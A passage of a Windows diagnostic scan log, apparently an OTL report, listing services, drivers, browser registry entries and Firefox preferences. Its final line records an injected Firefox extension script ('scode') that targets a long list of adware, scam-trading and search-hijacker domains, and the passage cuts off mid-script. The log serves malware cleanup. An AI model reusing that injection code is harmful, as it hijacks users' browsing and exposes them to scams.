SRV - [2015/05/01 11:17:04 | 001,772,672 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe -- (c2cpnrsvc)
SRV - [2015/05/01 11:16:10 | 001,394,816 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe -- (c2cautoupdatesvc)
SRV - [2015/04/03 15:42:26 | 000,814,880 | ---- | M] (IObit) [Auto | Running] -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\ASCService.exe -- (AdvancedSystemCareService8)
SRV - [2014/11/21 02:16:36 | 000,011,776 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\smphost.dll -- (smphost)
SRV - [2014/11/21 02:15:13 | 000,017,920 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\StorSvc.dll -- (StorSvc)
SRV - [2014/11/21 02:15:10 | 002,987,520 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\system32\spool\drivers\x64\3\PrintConfig.dll -- (PrintNotify)
SRV - [2012/07/25 18:58:26 | 000,126,976 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Windows Kits\8.0\Testing\Runtimes\TAEF\Wex.Services.exe -- (Te.Service)
SRV - [2012/07/25 18:13:16 | 000,139,776 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Windows Kits\8.0\App Certification Kit\fussvc.exe -- (fussvc)
SRV - [2010/02/19 14:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard)
SRV - [2009/11/06 11:58:38 | 000,935,208 | ---- | M] (Nero AG) [Auto | Running] -- C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe -- (Nero BackItUp Scheduler 4.0)
SRV - [2008/11/09 13:48:14 | 000,602,392 | ---- | M] (Yahoo! Inc.) [Auto | Running] -- C:\Program Files (x86)\Yahoo!\SoftwareUpdate\YahooAUService.exe -- (YahooAUService)
 
 
========== Driver Services (SafeList) ==========
 
DRV:64bit: - [2015/07/29 19:11:42 | 000,113,880 | ---- | M] (Malwarebytes Corporation) [File_System | Boot | Running] -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys -- (MBAMSwissArmy)
DRV:64bit: - [2015/07/27 18:07:47 | 000,035,064 | ---- | M] () [Kernel | On_Demand | Unknown] -- C:\Windows\SysNative\drivers\TrueSight.sys -- (TrueSight)
DRV:64bit: - [2015/07/14 11:44:38 | 000,045,680 | -H-- | M] (LogMeIn Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Hamdrv.sys -- (Hamachi)
DRV:64bit: - [2015/06/25 14:22:12 | 000,019,600 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys -- (NvStreamKms)
DRV:64bit: - [2015/06/18 08:42:02 | 000,064,216 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mwac.sys -- (MBAMWebAccessControl)
DRV:64bit: - [2015/06/18 08:41:40 | 000,025,816 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:64bit: - [2015/06/17 02:10:27 | 000,204,648 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:64bit: - [2015/06/12 08:51:56 | 000,037,184 | ---- | M] (Razer, Inc.) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\rzpmgrk.sys -- (rzpmgrk)
DRV:64bit: - [2015/06/10 23:08:36 | 000,054,784 | ---- | M] (Apple, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usbaapl64.sys -- (USBAAPL64)
DRV:64bit: - [2015/05/19 16:41:09 | 000,325,464 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\USBXHCI.SYS -- (USBXHCI)
DRV:64bit: - [2015/05/01 10:18:21 | 000,080,384 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\ahcache.sys -- (ahcache)
DRV:64bit: - [2015/04/30 00:01:06 | 000,023,200 | ---- | M] (Western Digital Technologies) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\wdcsam64.sys -- (WDC_SAM)
DRV:64bit: - [2015/04/29 03:30:57 | 000,467,776 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\USBHUB3.SYS -- (USBHUB3)
DRV:64bit: - [2015/04/29 03:30:50 | 000,057,856 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bthhfenum.sys -- (BthHFEnum)
DRV:64bit: - [2015/04/29 03:29:14 | 000,239,424 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\sdbus.sys -- (sdbus)
DRV:64bit: - [2015/04/16 16:45:02 | 000,881,368 | ---- | M] (Realtek                                            ) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Rt630x64.sys -- (RTL8168)
DRV:64bit: - [2015/04/03 06:21:00 | 000,038,032 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvvad64v.sys -- (nvvad_WaveExtensible)
DRV:64bit: - [2015/03/20 23:13:40 | 000,381,608 | ---- | M] (Duplex Secure Ltd.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\sptd.sys -- (sptd)
DRV:64bit: - [2015/03/04 03:25:11 | 000,377,152 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\clfs.sys -- (CLFS)
DRV:64bit: - [2015/03/02 10:26:13 | 000,136,512 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\wfplwfs.sys -- (WFPLWFS)
DRV:64bit: - [2015/03/02 10:26:12 | 000,086,336 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\pdc.sys -- (pdc)
DRV:64bit: - [2015/03/02 10:26:12 | 000,058,176 | ---- | M] (Microsoft Corporation) [Kernel | System | Stopped] -- C:\Windows\SysNative\drivers\dam.sys -- (dam)
DRV:64bit: - [2015/03/02 10:26:12 | 000,039,744 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\intelpep.sys -- (intelpep)
DRV:64bit: - [2015/03/02 02:29:39 | 000,030,352 | ---- | M] (Disc Soft Ltd) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\dtproscsibus.sys -- (dtproscsibus)
DRV:64bit: - [2015/02/26 20:06:49 | 000,690,864 | ---- | M] (VIA Technologies, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\viahduaa.sys -- (VIAHdAudAddService)
DRV:64bit: - [2015/02/03 16:58:33 | 000,264,000 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\WdFilter.sys -- (WdFilter)
DRV:64bit: - [2015/02/03 16:58:33 | 000,114,496 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\WdNisDrv.sys -- (WdNisDrv)
DRV:64bit: - [2015/02/03 16:58:04 | 000,044,024 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\WdBoot.sys -- (WdBoot)
DRV:64bit: - [2014/12/28 21:05:44 | 000,049,272 | ---- | M] (Visicom Media Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcvidrv.sys -- (ManyCam)
DRV:64bit: - [2014/12/28 20:59:36 | 000,035,960 | ---- | M] (Visicom Media Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcaudrv_x64.sys -- (mcaudrv_simple)
DRV:64bit: - [2014/11/21 02:17:18 | 000,157,016 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\Windows\SysNative\drivers\wof.sys -- (Wof)
DRV:64bit: - [2014/11/21 02:17:07 | 000,027,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:64bit: - [2014/11/21 02:17:05 | 000,054,784 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\wpcfltr.sys -- (wpcfltr)
DRV:64bit: - [2014/11/21 02:16:08 | 000,126,464 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\NdisImPlatform.sys -- (NdisImPlatform)
DRV:64bit: - [2014/11/21 02:16:05 | 000,066,560 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mslldp.sys -- (MsLldp)
DRV:64bit: - [2014/11/21 02:16:04 | 000,103,424 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\Ndu.sys -- (Ndu)
DRV:64bit: - [2014/11/21 02:16:03 | 000,921,920 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\refs.sys -- (ReFS)
DRV:64bit: - [2014/11/21 02:15:49 | 000,146,752 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\msgpioclx.sys -- (GPIOClx0101)
DRV:64bit: - [2014/11/21 02:15:09 | 000,029,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbGD.sys -- (TsUsbGD)
DRV:64bit: - [2014/11/21 02:15:08 | 000,415,040 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\spaceport.sys -- (spaceport)
DRV:64bit: - [2014/11/21 02:15:08 | 000,189,248 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\UCX01000.SYS -- (UCX01000)
DRV:64bit: - [2014/11/21 02:15:08 | 000,087,040 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\xusb22.sys -- (xusb22)
DRV:64bit: - [2014/11/21 02:15:08 | 000,087,040 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netvsc63.sys -- (netvsc)
DRV:64bit: - [2014/11/21 02:15:08 | 000,069,952 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\vpci.sys -- (vpci)
DRV:64bit: - [2014/11/21 01:52:29 | 000,146,776 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SerCx2.sys -- (SerCx2)
DRV:64bit: - [2014/11/21 01:52:16 | 000,175,960 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\VerifierExt.sys -- (VerifierExt)
DRV:64bit: - [2014/11/21 01:52:15 | 000,079,192 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\sdstor.sys -- (sdstor)
DRV:64bit: - [2014/11/21 01:52:15 | 000,057,176 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\stornvme.sys -- (stornvme)
DRV:64bit: - [2014/11/21 01:52:15 | 000,033,280 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\BasicRender.sys -- (BasicRender)
DRV:64bit: - [2014/11/21 01:25:17 | 000,037,216 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\terminpt.sys -- (terminpt)
DRV:64bit: - [2014/06/04 15:17:30 | 000,021,184 | ---- | M] (IObit) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\SmartDefragDriver.sys -- (SmartDefragDriver)
DRV:64bit: - [2014/05/28 18:32:06 | 000,034,016 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\xb1usb.sys -- (xb1usb)
DRV:64bit: - [2014/01/22 08:52:10 | 000,206,080 | ---- | M] (DEVGURU Co., LTD.(www.devguru.co.kr)) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ssudmdm.sys -- (ssudmdm)
DRV:64bit: - [2014/01/22 08:52:10 | 000,108,800 | ---- | M] (DEVGURU Co., LTD.(www.devguru.co.kr)) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ssudbus.sys -- (dg_ssudbus)
DRV:64bit: - [2013/08/22 06:25:40 | 000,043,008 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\condrv.sys -- (condrv)
DRV:64bit: - [2013/08/22 06:25:40 | 000,030,048 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:64bit: - [2013/08/22 05:49:54 | 000,079,712 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\acpiex.sys -- (acpiex)
DRV:64bit: - [2013/08/22 05:49:33 | 000,159,584 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\tpm.sys -- (TPM)
DRV:64bit: - [2013/08/22 05:43:49 | 000,063,840 | ---- | M] (Marvell Semiconductor, Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\mvumis.sys -- (mvumis)
DRV:64bit: - [2013/08/22 05:43:48 | 000,041,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\msgpiowin32.sys -- (msgpiowin32)
DRV:64bit: - [2013/08/22 05:43:45 | 003,357,024 | ---- | M] (Broadcom Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:64bit: - [2013/08/22 05:43:45 | 000,093,536 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:64bit: - [2013/08/22 05:43:45 | 000,082,784 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sss.sys -- (LSI_SSS)
DRV:64bit: - [2013/08/22 05:43:45 | 000,064,352 | ---- | M] (Hewlett-Packard Company) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:64bit: - [2013/08/22 05:43:44 | 000,081,760 | ---- | M] (LSI Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas3.sys -- (LSI_SAS3)
DRV:64bit: - [2013/08/22 05:43:41 | 000,782,176 | ---- | M] (PMC-Sierra) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\adp80xx.sys -- (ADP80XX)
DRV:64bit: - [2013/08/22 05:43:41 | 000,531,296 | ---- | M] (Broadcom Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:64bit: - [2013/08/22 05:43:41 | 000,259,424 | ---- | M] (AMD Technologies Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:64bit: - [2013/08/22 05:43:41 | 000,108,896 | ---- | M] (LSI) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\3ware.sys -- (3ware)
DRV:64bit: - [2013/08/22 05:43:41 | 000,079,200 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:64bit: - [2013/08/22 05:43:40 | 000,114,016 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\EhStorTcgDrv.sys -- (EhStorTcgDrv)
DRV:64bit: - [2013/08/22 05:43:40 | 000,082,784 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\EhStorClass.sys -- (EhStorClass)
DRV:64bit: - [2013/08/22 05:43:40 | 000,025,952 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:64bit: - [2013/08/22 05:43:34 | 000,305,504 | ---- | M] (VIA Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\VSTXRAID.SYS -- (VSTXRAID)
DRV:64bit: - [2013/08/22 05:43:33 | 000,074,080 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\uaspstor.sys -- (UASPStor)
DRV:64bit: - [2013/08/22 05:43:32 | 000,031,072 | ---- | M] (Promise Technology, Inc.) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:64bit: - [2013/08/22 05:43:31 | 000,107,872 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\storahci.sys -- (storahci)
DRV:64bit: - [2013/08/22 05:43:31 | 000,072,032 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SpbCx.sys -- (SpbCx)
DRV:64bit: - [2013/08/22 05:43:31 | 000,069,472 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SerCx.sys -- (SerCx)
DRV:64bit: - [2013/08/22 05:39:15 | 000,026,976 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\uefi.sys -- (UEFI)
DRV:64bit: - [2013/08/22 05:36:12 | 000,026,976 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\WpdUpFltr.sys -- (WpdUpFltr)
DRV:64bit: - [2013/08/22 04:39:31 | 000,050,688 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\BasicDisplay.sys -- (BasicDisplay)
DRV:64bit: - [2013/08/22 04:39:20 | 000,022,016 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HyperVideo.sys -- (HyperVideo)
DRV:64bit: - [2013/08/22 04:39:06 | 000,009,728 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mshidumdf.sys -- (mshidumdf)
DRV:64bit: - [2013/08/22 04:38:58 | 000,010,752 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\acpitime.sys -- (acpitime)
DRV:64bit: - [2013/08/22 04:38:48 | 000,010,240 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\acpipagr.sys -- (acpipagr)
DRV:64bit: - [2013/08/22 04:38:39 | 000,036,992 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\BthAvrcpTg.sys -- (BthAvrcpTg)
DRV:64bit: - [2013/08/22 04:38:26 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\kdnic.sys -- (kdnic)
DRV:64bit: - [2013/08/22 04:38:23 | 000,011,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\vmgencounter.sys -- (gencounter)
DRV:64bit: - [2013/08/22 04:38:22 | 000,023,040 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\npsvctrig.sys -- (npsvctrig)
DRV:64bit: - [2013/08/22 04:38:16 | 000,030,720 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\BthhfHid.sys -- (bthhfhid)
DRV:64bit: - [2013/08/22 04:37:49 | 000,013,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hyperkbd.sys -- (hyperkbd)
DRV:64bit: - [2013/08/22 04:37:28 | 000,056,320 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:64bit: - [2013/08/22 04:37:28 | 000,041,472 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hidi2c.sys -- (hidi2c)
DRV:64bit: - [2013/08/22 04:37:14 | 000,029,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\dmvsc.sys -- (dmvsc)
DRV:64bit: - [2013/08/22 04:36:25 | 000,016,384 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\NdisVirtualBus.sys -- (NdisVirtualBus)
DRV:64bit: - [2013/08/22 01:46:33 | 000,027,136 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\fxppm.sys -- (FxPPM)
DRV:64bit: - [2013/08/12 16:25:46 | 000,017,624 | ---- | M] (Windows ® Win 7 DDK provider) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bcmfn2.sys -- (bcmfn2)
DRV:64bit: - [2013/08/09 17:39:30 | 000,651,248 | ---- | M] (Intel Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\iaStorAV.sys -- (iaStorAV)
DRV:64bit: - [2013/07/30 11:47:35 | 000,024,568 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\iaLPSSi_GPIO.sys -- (iaLPSSi_GPIO)
DRV:64bit: - [2013/07/25 12:05:39 | 000,099,320 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\iaLPSSi_I2C.sys -- (iaLPSSi_I2C)
DRV:64bit: - [2012/10/03 17:14:56 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM)
DRV:64bit: - [2010/12/16 15:58:14 | 000,040,816 | ---- | M] (Elaborate Bytes AG) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\ElbyCDIO.sys -- (ElbyCDIO)
DRV:64bit: - [2010/10/20 00:34:26 | 000,056,344 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:64bit: - [2007/02/15 17:57:06 | 000,040,648 | ---- | M] (SlySoft, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\ElbyCDFL.sys -- (ElbyCDFL)
DRV - [2015/04/29 19:53:33 | 000,013,824 | ---- | M] (Phoenix Technologies) [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\DrvAgent64.SYS -- (DrvAgent64)
DRV - [2015/03/25 19:07:34 | 000,034,848 | ---- | M] (IObit.com) [Kernel | On_Demand | Running] -- C:\Program Files (x86)\IObit\IObit Malware Fighter\Drivers\win7_amd64\RegFilter.sys -- (RegFilter)
DRV - [2015/03/25 19:07:34 | 000,023,048 | ---- | M] (IObit) [File_System | On_Demand | Running] -- C:\Program Files (x86)\IObit\IObit Malware Fighter\Drivers\win7_amd64\FileMonitor.sys -- (FileMonitor)
DRV - [2015/03/25 19:07:34 | 000,023,016 | ---- | M] (IObit.com) [Kernel | On_Demand | Running] -- C:\Program Files (x86)\IObit\IObit Malware Fighter\Drivers\win7_amd64\UrlFilter.sys -- (UrlFilter)
DRV - [2015/02/26 01:30:04 | 000,026,528 | ---- | M] (REALiX™) [Kernel | System | Running] -- C:\Windows\SysWOW64\drivers\HWiNFO64A.SYS -- (HWiNFO32)
DRV - [2007/02/15 17:57:06 | 000,040,648 | ---- | M] (SlySoft, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysWOW64\drivers\ElbyCDFL.sys -- (ElbyCDFL)
 
 
========== Standard Registry (SafeList) ==========
 
 
========== Internet Explorer ==========
 
IE:64bit: - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = www.google.com
IE:64bit: - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = www.google.com
IE:64bit: - HKLM\..\SearchScopes,DefaultScope = {6A1806CD-94D4-4689-BA73-E35EA1EA9990}
IE:64bit: - HKLM\..\SearchScopes\{0b4d26f6-61a8-4463-99dd-5f2fe0400fa6}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE:64bit: - HKLM\..\SearchScopes\{6A1806CD-94D4-4689-BA73-E35EA1EA9990}: "URL" = http://www.google.co...g}&sourceid=ie7
IE:64bit: - HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = www.google.com
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = www.google.com
IE - HKLM\..\SearchScopes,DefaultScope = {6A1806CD-94D4-4689-BA73-E35EA1EA9990}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{6A1806CD-94D4-4689-BA73-E35EA1EA9990}: "URL" = http://www.google.co...g}&sourceid=ie7
IE - HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = www.google.com
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.wwe.com/
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = en-US
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 6A 6C DC EB 99 51 D0 01  [binary data]
IE - HKCU\..\SearchScopes,DefaultScope = {B8E20CD7-BAC2-4820-9AA6-1060B3AF25E2}
IE - HKCU\..\SearchScopes\{6A1806CD-94D4-4689-BA73-E35EA1EA9990}: "URL" = http://www.google.co...1I7GGHP_enUS629
IE - HKCU\..\SearchScopes\{B8E20CD7-BAC2-4820-9AA6-1060B3AF25E2}: "URL" = http://www.baidu.com...47_oem_dg&ch=33
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
 
========== FireFox ==========
 
FF - prefs.js..browser.search.countryCode: "US"
FF - prefs.js..browser.search.defaultenginename: "Google"
FF - prefs.js..browser.search.defaultenginename.US: "Google"
FF - prefs.js..browser.search.region: "US"
FF - prefs.js..browser.search.selectedEngine: "Google"
FF - prefs.js..browser.search.useDBForOrder: true
FF - prefs.js..browser.startup.homepage: "www.wwe.com"
FF - prefs.js..extensions.IDkACOcxNeYUoV7L.scode: "(function(){try{if(window.location.href.indexOf(\"rTaGrjaHrHY8qTCFqHw8rHw9ra\")>-1){return;}}catch(e){}try{var d=[[\"www.ewoss.com\",\"livewebcams.xyz\",\"new.livejasmin.com\",\"profollica.com\",\"secure.dditservices.com\",\"provillus.com\",\"search.asistents.com\",\"cryptogmail.com\",\"bancdebinary.com\",\"investkingdom.com\",\"www.optionsclick.com\",\"www.optionfair.com\",\"www.24option.com\",\"www.viracure.com\",\"onesystemcare.com\",\"onesave.com\",\"backin.net\",\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer